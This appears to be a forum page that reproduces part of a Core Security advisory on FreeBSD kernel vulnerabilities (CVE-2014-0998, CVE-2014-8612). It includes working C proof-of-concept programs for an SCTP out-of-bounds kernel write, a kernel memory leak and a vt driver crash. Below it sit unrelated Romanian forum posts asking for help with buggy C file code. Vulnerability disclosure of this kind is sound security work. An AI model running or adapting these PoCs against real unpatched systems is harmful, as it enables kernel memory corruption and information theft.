'sys/netinet/sctp_ss_functions.c' defines an array called 'sctp_ss_functions'; each element of this array has type 'struct sctp_ss_functions' and defines a set of function pointers suitable for different SCTP socket options: /----- struct sctp_ss_functions sctp_ss_functions[] = { /* SCTP_SS_DEFAULT */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_default_clear, .sctp_ss_init_stream = sctp_ss_default_init_stream, .sctp_ss_add_to_stream = sctp_ss_default_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_default_remove, .sctp_ss_select_stream = sctp_ss_default_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_ROUND_ROBIN */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_default_clear, .sctp_ss_init_stream = sctp_ss_default_init_stream, .sctp_ss_add_to_stream = sctp_ss_rr_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_default_remove, .sctp_ss_select_stream = sctp_ss_default_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_ROUND_ROBIN_PACKET */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_default_clear, .sctp_ss_init_stream = sctp_ss_default_init_stream, .sctp_ss_add_to_stream = sctp_ss_rr_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_default_remove, .sctp_ss_select_stream = sctp_ss_rrp_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_rrp_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_PRIORITY */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_prio_clear, .sctp_ss_init_stream = sctp_ss_prio_init_stream, .sctp_ss_add_to_stream = sctp_ss_prio_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_prio_remove, .sctp_ss_select_stream = sctp_ss_prio_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_prio_get_value, .sctp_ss_set_value = sctp_ss_prio_set_value }, /* SCTP_SS_FAIR_BANDWITH */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_fb_clear, .sctp_ss_init_stream = sctp_ss_fb_init_stream, .sctp_ss_add_to_stream = sctp_ss_fb_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_fb_remove, .sctp_ss_select_stream = sctp_ss_fb_select, .sctp_ss_scheduled = sctp_ss_fb_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_FIRST_COME */ { .sctp_ss_init = sctp_ss_fcfs_init, .sctp_ss_clear = sctp_ss_fcfs_clear, .sctp_ss_init_stream = sctp_ss_fcfs_init_stream, .sctp_ss_add_to_stream = sctp_ss_fcfs_add, .sctp_ss_is_empty = sctp_ss_fcfs_is_empty, .sctp_ss_remove_from_stream = sctp_ss_fcfs_remove, .sctp_ss_select_stream = sctp_ss_fcfs_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value } }; -----/ Note that the value for the 'sctp_ss_set_value' field is *almost* always set to 'sctp_ss_default_set_value', which is just a dummy function defined in 'sys/netinet/sctp_ss_functions.c': /----- static int sctp_ss_default_set_value(struct sctp_tcb *stcb SCTP_UNUSED, struct sctp_association *asoc SCTP_UNUSED, struct sctp_stream_out *strq SCTP_UNUSED, uint16_t value SCTP_UNUSED) { /* Nothing to be done here */ return (-1); } -----/ The only case in which the 'sctp_ss_set_value' field is set to a different value is in the 4th element of the array, which corresponds to the 'SCTP_SS_PRIORITY' socket option; in that case, the function pointer is set to 'sctp_ss_prio_set_value', which is a function defined in 'sys/netinet/sctp_ss_functions.c': /----- static int sctp_ss_prio_set_value(struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, uint16_t value) { if (strq == NULL) { return (-1); } strq->ss_params.prio.priority = value; sctp_ss_prio_remove(stcb, asoc, strq, NULL, 1); sctp_ss_prio_add(stcb, asoc, strq, NULL, 1); return (1); } -----/ The 'value' parameter is fully controlled by the attacker, and the actual value of the 'strq' pointer parameter is the address '&stcb->asoc.strmout[av->stream_id]' in which the attacker can set the 'av->stream_id' index beyond the boundaries of the array, so this function will provide a write-what-where memory corruption primitive when doing the 'strq->ss_params.prio.priority = value' assignment. This memory corruption vulnerability allows a local unprivileged attacker to overwrite kernel memory outside of the 'stcb->asoc.strmout' array with an arbitrary 'uint16_t' value. In order to make use of the 'sctp_ss_prio_set_value' function, the attacker needs to set up the 'stcb->asoc.ss_functions' struct with the function pointers belonging to the 'SCTP_SS_PRIORITY' socket option. This can be done by hitting the following code in the 'sctp_setopt' function; as can be seen, the 'stcb->asoc.ss_functions' struct can be properly set up for the attack by setting an 'SCTP_PLUGGABLE_SS' socket option with an option value of type 'struct sctp_assoc_value' having its 'assoc_value' field set to 'SCTP_SS_PRIORITY' (see the 'stcb->asoc.ss_functions = sctp_ss_functions[av->assoc_value] ' statement): /----- case SCTP_PLUGGABLE_SS: { struct sctp_assoc_value *av; SCTP_CHECK_AND_CAST(av, optval, struct sctp_assoc_value, optsize); /* Checks if av->assoc_value is a valid index within the sctp_ss_functions array */ if ((av->assoc_value != SCTP_SS_DEFAULT) && (av->assoc_value != SCTP_SS_ROUND_ROBIN) && (av->assoc_value != SCTP_SS_ROUND_ROBIN_PACKET) && (av->assoc_value != SCTP_SS_PRIORITY) && (av->assoc_value != SCTP_SS_FAIR_BANDWITH) && (av->assoc_value != SCTP_SS_FIRST_COME)) { SCTP_LTRACE_ERR_RET(inp, NULL, NULL, SCTP_FROM_SCTP_USRREQ, EINVAL); error = EINVAL; break; } SCTP_FIND_STCB(inp, stcb, av->assoc_id); if (stcb) { stcb->asoc.ss_functions.sctp_ss_clear(stcb, &stcb->asoc, 1, 1); /* The function pointers struct is set up here!!! */ stcb->asoc.ss_functions = sctp_ss_functions[av->assoc_value]; stcb->asoc.stream_scheduling_module = av->assoc_value; stcb->asoc.ss_functions.sctp_ss_init(stcb, &stcb->asoc, 1); SCTP_TCB_UNLOCK(stcb); -----/ 8.3. *FreeBSD SCTP Socket SCTP_SS_VALUE Kernel Memory Disclosure Vulnerability* [CVE-2014-8612] The third vulnerability is closely related to the second one. The FreeBSD kernel is prone to a kernel memory disclosure when reading the value of the 'SCTP_SS_VALUE' SCTP socket option via the 'getsockopt' system call, which allows local unprivileged attackers to read 16-bit values belonging to the kernel memory space. The handling of the 'getsockopt' system call at the SCTP level is performed by the function 'sctp_getopt' [file 'sys/netinet/sctp_userreq.c']: /----- static int sctp_getopt(struct socket *so, int optname, void *optval, size_t *optsize, void *p) { [...] switch (optname) { [...] case SCTP_SS_VALUE: { struct sctp_stream_value *av; SCTP_CHECK_AND_CAST(av, optval, struct sctp_stream_value, *optsize); SCTP_FIND_STCB(inp, stcb, av->assoc_id); if (stcb) { if (stcb->asoc.ss_functions.sctp_ss_get_value(stcb, &stcb->asoc, &stcb->asoc.strmout[av->stream_id], &av->stream_value) < 0) { -----/ When handling the 'SCTP_SS_VALUE' socket option, the 'optval' option value (which is fully controlled by the local attacker), is casted to the 'struct sctp_stream_value *' type and stored into the 'av' variable by using the 'SCTP_CHECK_AND_CAST' macro. After that, if the 'sctb' pointer is not 'NULL' (condition that can be achieved by having the SCTP socket in a *connected* state), the 'stcb->asoc.ss_functions.sctp_ss_get_value' function pointer is called. The third argument for this function is '&stcb->asoc.strmout[av->stream_id]'. As can be seen, the unstrusted 'av->stream_id' value (which is fully controlled by the local attacker) is used as an index within the 'stcb->asoc.strmout' array without properly checking if it's within the bounds of the array. The default value for the 'sctp_ss_get_value' function pointer is 'sctp_ss_default_get_value', which is just a dummy function defined in 'sys/netinet/sctp_ss_functions.c': /----- static int sctp_ss_default_get_value(struct sctp_tcb *stcb SCTP_UNUSED, struct sctp_association *asoc SCTP_UNUSED, struct sctp_stream_out *strq SCTP_UNUSED, uint16_t * value SCTP_UNUSED) { /* Nothing to be done here */ return (-1); } -----/ The only useful possible value for this function pointer is 'sctp_ss_prio_get_value', which belongs to the function pointers of the 'SCTP_SS_PRIORITY' socket option: /----- static int sctp_ss_prio_get_value(struct sctp_tcb *stcb SCTP_UNUSED, struct sctp_association *asoc SCTP_UNUSED, struct sctp_stream_out *strq, uint16_t * value) { if (strq == NULL) { return (-1); } *value = strq->ss_params.prio.priority; return (1); } -----/ The actual value of the 'strq' pointer parameter is the address '&stcb->asoc.strmout[av->stream_id]' in which the attacker can set the 'av->stream_id' index beyond the boundaries of the array, so this function will allow a local unprivileged attacker to read an 'uint16_t' value belonging to the kernel memory outside of the 'stcb->asoc.strmout' array when doing the '*value = strq->ss_params.prio.priority' assignment. In order to make use of the 'sctp_ss_prio_get_value' function, the attacker needs to set up the 'stcb->asoc.ss_functions' struct with the function pointers belonging to the 'SCTP_SS_PRIORITY' socket option, as it was previously explained for the second vulnerability. 8.4. *Proof of Concept* The following code is a Proof of Concept for the first vulnerability: /----- #include <stdio.h> #include <sys/consio.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv){ int fd; printf("** FreeBSD vt Driver VT_WAITACTIVE Sign Conversion Vulnerability PoC **\n"); if (argc < 2){ printf("\nUsage: ./poc_vt </dev/ttyv*>, where ttyv* is your current virtual terminal.\n"); printf("\nExample: ./poc_vt /dev/ttyv1\n\n"); exit(1); } fd = open(argv[1], O_RDONLY); if (fd == -1){ perror("open"); exit(1); } /* 0x90919293 is a negative number when it's interpreted as a signed int, thus it will bypass the * (signed) boundary check that tries to guarantee that this value is not greater than VT_MAXWINDOWS (12). * This value will be ultimately used as an index to access the vd->vd_windows array. */ if (ioctl(fd, VT_WAITACTIVE, (void *) 0x90919293) == -1){ perror("ioctl"); } close(fd); return 0; } -----/ The following code is a Proof of Concept for the second vulnerability: /----- #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/sctp.h> #include <netinet/sctp_uio.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define PORT 4444 #define ADDR "127.0.0.1" int main(int argc, char *argv[]) { int fd; struct sockaddr_in addr; struct sctp_initmsg init; struct sctp_stream_value stream_value; struct sctp_assoc_value assoc_value; socklen_t opt_len; printf("** FreeBSD SCTP Socket SCTP_SS_VALUE Memory Corruption Vulnerability PoC **\n"); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP)) < 0) { perror("socket"); goto out; } memset(&init, 0, sizeof(init)); init.sinit_num_ostreams = 2048; if (setsockopt(fd, IPPROTO_SCTP, SCTP_INITMSG, &init, (socklen_t)sizeof(struct sctp_initmsg)) < 0) { perror("SCTP_INITMSG"); goto out; } memset(&addr, 0, sizeof(addr)); #ifdef HAVE_SIN_LEN addr.sin_len = sizeof(struct sockaddr_in); #endif addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr(ADDR); if (connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { perror("connect"); goto out; } /* Set up the stcb->asoc.ss_functions struct with the function pointers belonging to the SCTP_SS_PRIORITY socket option */ memset(&assoc_value, 0, sizeof(assoc_value)); assoc_value.assoc_value = SCTP_SS_PRIORITY; assoc_value.assoc_id = SCTP_CURRENT_ASSOC; if (setsockopt(fd, IPPROTO_SCTP, SCTP_PLUGGABLE_SS, &assoc_value, (socklen_t)sizeof(struct sctp_assoc_value)) < 0){ perror("setting up function pointers"); goto out; } memset(&stream_value, 0, sizeof(stream_value)); stream_value.assoc_id = SCTP_CURRENT_ASSOC; /* * stream_id will be used as an index into the stcb->asoc.strmout array without performing bounds checking. * stream_value will be written to the calculated address. */ stream_value.stream_id = 0xFFFF; stream_value.stream_value = 0x4142; /* Triggering the vulnerability... */ if (setsockopt(fd, IPPROTO_SCTP, SCTP_SS_VALUE, &stream_value, (socklen_t)sizeof(struct sctp_stream_value)) < 0){ perror("triggering the vulnerability"); goto out; } out: if (close(fd) < 0) { perror("close"); } return(0); } -----/ The following code is a Proof of Concept for the third vulnerability: /----- #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/sctp.h> #include <netinet/sctp_uio.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define PORT 4444 #define ADDR "127.0.0.1" int main(int argc, char *argv[]) { int fd; struct sockaddr_in addr; struct sctp_initmsg init; struct sctp_stream_value stream_value; struct sctp_assoc_value assoc_value; socklen_t opt_len; printf("** FreeBSD SCTP Socket SCTP_SS_VALUE Kernel Memory Disclosure Vulnerability **\n"); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP)) < 0) { perror("socket"); goto out; } memset(&init, 0, sizeof(init)); init.sinit_num_ostreams = 2048; if (setsockopt(fd, IPPROTO_SCTP, SCTP_INITMSG, &init, (socklen_t)sizeof(struct sctp_initmsg)) < 0) { perror("SCTP_INITMSG"); goto out; } memset(&addr, 0, sizeof(addr)); #ifdef HAVE_SIN_LEN addr.sin_len = sizeof(struct sockaddr_in); #endif addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr(ADDR); if (connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { perror("connect"); goto out; } /* Set up the stcb->asoc.ss_functions struct with the function pointers belonging to the SCTP_SS_PRIORITY socket option */ memset(&assoc_value, 0, sizeof(assoc_value)); assoc_value.assoc_value = SCTP_SS_PRIORITY; assoc_value.assoc_id = SCTP_CURRENT_ASSOC; if (setsockopt(fd, IPPROTO_SCTP, SCTP_PLUGGABLE_SS, &assoc_value, (socklen_t)sizeof(struct sctp_assoc_value)) < 0){ perror("setting up function pointers"); goto out; } memset(&stream_value, 0, sizeof(stream_value)); opt_len = sizeof(stream_value); stream_value.assoc_id = SCTP_CURRENT_ASSOC; /* stream_id will be used as an index into the stcb->asoc.strmout array without performing bounds checking. */ stream_value.stream_id = 0x400; /* Triggering the vulnerability... */ if (getsockopt(fd, IPPROTO_SCTP, SCTP_SS_VALUE, &stream_value, &opt_len) < 0){ perror("triggering the vulnerability"); goto out; } printf("[*] Value leaked from kernel: 0x%04X\n", stream_value.stream_value); out: if (close(fd) < 0) { perror("close"); } return(0); } -----/ Note that both the second and third PoCs try to connect to a dummy SCTP server listening on localhost on port 4444, since the SCTP socket needs to be in a 'connected' state in order to trigger the vulnerabilities. The following code, based on the example code published here[5], can be used to run a simple SCTP server listening on port 4444: /----- #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/sctp.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <unistd.h> #define BUFFER_SIZE (1<<16) #define PORT 4444 #define ADDR "127.0.0.1" int main(int argc, char *argv[]) { int fd, n, flags; struct sockaddr_in addr; socklen_t from_len; struct sctp_sndrcvinfo sinfo; char buffer[BUFFER_SIZE]; struct sctp_event_subscribe event; if ((fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP)) < 0) { perror("socket"); goto out; } memset(&event, 1, sizeof(struct sctp_event_subscribe)); if (setsockopt(fd, IPPROTO_SCTP, SCTP_EVENTS, &event, sizeof(struct sctp_event_subscribe)) < 0) { perror("setsockopt"); goto out; } memset(&addr, 0, sizeof(struct sockaddr_in)); #ifdef HAVE_SIN_LEN addr.sin_len = sizeof(struct sockaddr_in); #endif addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr(ADDR); if (bind(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { perror("bind"); goto out; } if (listen(fd, 1) < 0) { perror("listen"); goto out; } while (1) { flags = 0; memset(&addr, 0, sizeof(struct sockaddr_in)); from_len = (socklen_t)sizeof(struct sockaddr_in); memset(&sinfo, 0, sizeof(struct sctp_sndrcvinfo)); n = sctp_recvmsg(fd, (void *)buffer, BUFFER_SIZE, (struct sockaddr *)&addr, &from_len, &sinfo, &flags); if (flags & MSG_NOTIFICATION) { printf("Notification received.\n"); } else { printf("Msg of length %d received from %s:%u on stream %d, PPID %d.\n", n, inet_ntoa(addr.sin_addr), ntohs(addr.sin_port),sinfo.sinfo_stream, ntohl(sinfo.sinfo_ppid)); } } out: if (close(fd) < 0) { perror("close"); } return (0); } -----/ 9. *Report Timeline* . 2015-01-15: Initial notification sent to FreeBSD. Publication date set to Feb 16, 2015. . 2015-01-15: FreeBSD confirms reception of the report and requests the draft version of the advisory. They clarify that they usually aim for Tuesday releases depending on the severity of the problem. . 2015-01-15: Core Security sends a draft version of the advisory to the vendor and requests to be informed once they finish reviewing the vulnerabilities. . 2015-01-26: Core Security requests a status report regarding their review of the vulnerabilities and the estimated publication date. . 2015-01-26: FreeBSD confirms the bugs, but informs us that they'll only publish a security advisory for the SCTP Socket SCTP_SS_VALUE Memory Corruption and Kernel Memory Disclosure vulnerabilities. For the "vt Driver VT_WAITACTIVE Sign Conversion Vulnerability" they will commit a normal change and then release an "Errata Notice" informing the fix. They set the publication date for 27th January, 2015. . 2015-01-26: Core Security informs that understands their position regarding the vt Driver VT_WAITACTIVE Sign Conversion issue, but we will nevertheless publish thew bug in the advisory because we consider it a vulnerability. We accepted their offer of sharing CVE IDs. . 2015-01-26: FreeBSD confirms they have available CVE IDs and ask if we want to use IDs from 2014 or 2015. . 2015-01-27: FreeBSD informs us that after going through their mail archive they found out that the same issue was reported by Google and that they missed it. They inform us that they will use only one CVE ID for the two SCTP issues because they state they are of the same nature. . 2015-01-27: Core Security informs that will assign a the CVE ID CVE-2014-0998 to the vt(4) vulnerability and we requested the date and time they plan to release the fix and advisory. . 2015-01-27: FreeBSD informs they will publish the fix and advisory today. . 2015-01-27: Advisory CORE-2015-0003 published. 10. *References* [1] https://www.freebsd.org/releases/10.1R/relnotes.html#new [2] https://www.freebsd.org/cgi/man.cgi?query=vt&sektion=4 [3] https://wiki.freebsd.org/Newcons [4] https://www.freebsd.org/cgi/man.cgi?query=sctp&sektion=4 [5] http://www.bsdcan.org/2008/schedule/attachments/44_bsdcan_sctp.pdf [6] https://security.FreeBSD.org/advisories/FreeBSD-SA-15:02.kmem.asc 11. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 12. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 13. *Disclaimer* The contents of this advisory are copyright (c) 2015 Core Security and (c) 2015 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. Source
  16. Salut, vreau sa citesc informatii din fisierul in.txt, sa le ordonez folosid qsort si sa le afisez in alt fisier, out,txt. Nu-mi dau seama de ce intra in bucla infinita, sau unde, ceva ajutor? #include <stdio.h> #include <stdlib.h> #include <string.h> #include <conio.h> void verific (FILE *f) { if (f==NULL) { printf("Eroare deschidere fisier\n"); exit(1); } } void afisare (char* a[], int n) { int i; for(i=0;i<n;i++) if(a[i]!=NULL) printf("%s\n",a[i]); } int fqs (const void *a, const void * { return strcmp ( *(char**)a , *(char**)b ); } int citesc (FILE *f, char* a[]) { int i=0; char buf[100]; fread(buf,sizeof(char),1,f); while (*buf != '\0') { a[i]=strdup(buf); if(a[i]==NULL) { printf("Alocare esuata"); exit(1); } i++; } return i; /* int i=0; char buf[100]; fgets(buf,sizeof(char*),f); while (*buf != '\0') { a[i]=strdup(buf); if(a[i]==NULL) { printf("Alocare esuata"); exit(1); } i++; fgets(buf,sizeof(char*),f); } return i; */ } int scriu (FILE *f, char* a[], int n) { fwrite(a,sizeof(char*),n,f); fputs("\n\n",f); } int main() { int n; FILE *f=fopen("in.txt","rt"); FILE *g=fopen("out.txt","wt"); verific(f); verific(g); char* a[100]; n=citesc(f,a); afisare(a,n); scriu(g,a,n); qsort(a,n,sizeof(char*),fqs); scriu(g,a,n); return 0; }
  17. Presupunand ca orice post poate ajuta candva pe cineva , poftim un programel in c++ , un calculator mai exact , bazat pe functia switch si pentru afisarea pe ecran a operatiilor am folosit vectori. #include<iostream> #include<cstdlib> #include<conio.h> #include<vector> /* Autor : BGD 1337 Progamming Language - C++ Scope : Can be useful for a begginer. */ using namespace std; int main(){ int a,b; char choise; vector<string> operatii; vector<string>::iterator iter; cout <<"\t\tCalculator pe sectiuni de operatii\n\n"; operatii.push_back("Inmultire"); operatii.push_back("Adunare"); operatii.push_back("Scadere"); operatii.push_back("Impartire"); restart: cout<<"Alege operatia dorita\n\n"; for (iter = operatii.begin(); iter != operatii.end(); iter++) cout << *iter << endl; int alege; cout<<"\nAlege: ";cin>>alege; switch(alege){ case 1: cout<<"Ai ales operatia de inmultire , acum poti calcula\n\n"; cout<<"a=";cin>>a; cout<<"b=";cin>>b; cout<<"Rezultatul este " <<a*b<<endl; cout <<"\nDoresti sa iesi din program ?[Y/N]\n"; choise=_getch(); if (choise == 'n') goto restart; break; case 2: cout<<"Ai ales operatia de adunare , acum poti calcula\n\n"; cout <<"a=";cin>>a; cout <<"b=";cin>>b; cout <<"Rezultatul este " <<a+b<<endl; cout <<"\nDoresti sa iesi din program ?[Y/N]\n"; choise=_getch(); if (choise == 'n') goto restart; break; case 3: cout<<"Ai ales operatia de scadere , acum poti calcula\n"; cout <<"a=";cin>>a; cout <<"b=";cin>>b; cout <<"Rezultatul este " <<a-b<<endl; cout <<"\nDoresti sa iesi din program ?[Y/N]\n\n"; choise=_getch(); if (choise == 'n') goto restart; break; case 4: cout<<"Ai ales operatia de impartire , acum poti calcula\n\n"; cout <<"a=";cin>>a; cout <<"b=";cin>>b; cout <<"Rezultatul este " <<a/b<<endl; cout <<"\nDoresti sa iesi din program ?[Y/N]\n\n"; choise=_getch(); if (choise == 'n') goto restart; break; default: cout<<"Nu exista aceasta operatie"; cout <<"\nDoresti sa iesi din program ?[Y/N]\n"; choise=_getch(); if (choise == 'n') goto restart; } cin.ignore(cin.rdbuf()->in_avail() +1); getchar(); return 0; }
  18. aveti idee de ce nu functioneaza corect? citesc in fisier, si vreau sa afisez (intai) doar ca nu merge si nu inteleg de ce.. am lasat in comentarii programul pentru citire. /* Se considerã un fiºier ce conþine urmãtoarele informaþii referitoare la produsele prezentate în cadrul unui catalog: codul firmei, codul produsului, denumirea produsului ºi cantitatea produsã. Se cere: - sã se ordoneze fiºierul crescãtor dupã codul firmei, stabilindu-se apoi numãrul de produse realizate de cãtre fiecare firmã; - sã se ordoneze fiºierul crescãtor dupã codul produsului, stabilindu-se pentru fiecare produs numãrul de firme care îl realizeazã. */ //Citire in fis: #include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct { int cod_f; int cod_p; char nume[30]; int cantitate; } FIRMA; /* int main() { FILE *g=fopen("inf.dat","wb"); if(g == NULL) { printf("Eroare deschidere fisier"); exit(EXIT_FAILURE); } int i,n; FIRMA x; printf("Cate structuri? "); scanf("%d",&n); fflush(stdin); for(i=1;i<=n;i++) { printf("Cod firma [%d] : ",i); scanf("%d",&x.cod_f); printf("Cod produs [%d] : ",i); scanf("%d",&x.cod_p); fflush(stdin); printf("Cantitate [%d] : ",i); scanf("%d",&x.cantitate); printf("Nume [%d] : ",i); scanf("%s",x.nume); fflush(stdin); fwrite(&x,sizeof(FIRMA),1,g); } fclose(g); return 0; } */ int main() { FILE *f=fopen("inf.dat","rt"); if(f==NULL) { printf("Eroare fis"); exit(1); } FIRMA x; int i,n; fseek(f,0L,2); n=ftell(f)/sizeof(FIRMA); fseek(f,0L,0); printf("Cod firma | Cod produs | Denumire produs | Canitate produs \n"); for(i=1;i<=n;i++) { fread(&x,sizeof(FIRMA),1,f); printf("%d %d %d %s \n",x.cod_f,x.cod_p,x.cantitate,x.nume); } fclose(f); return 0; }
×
×
  • Create New...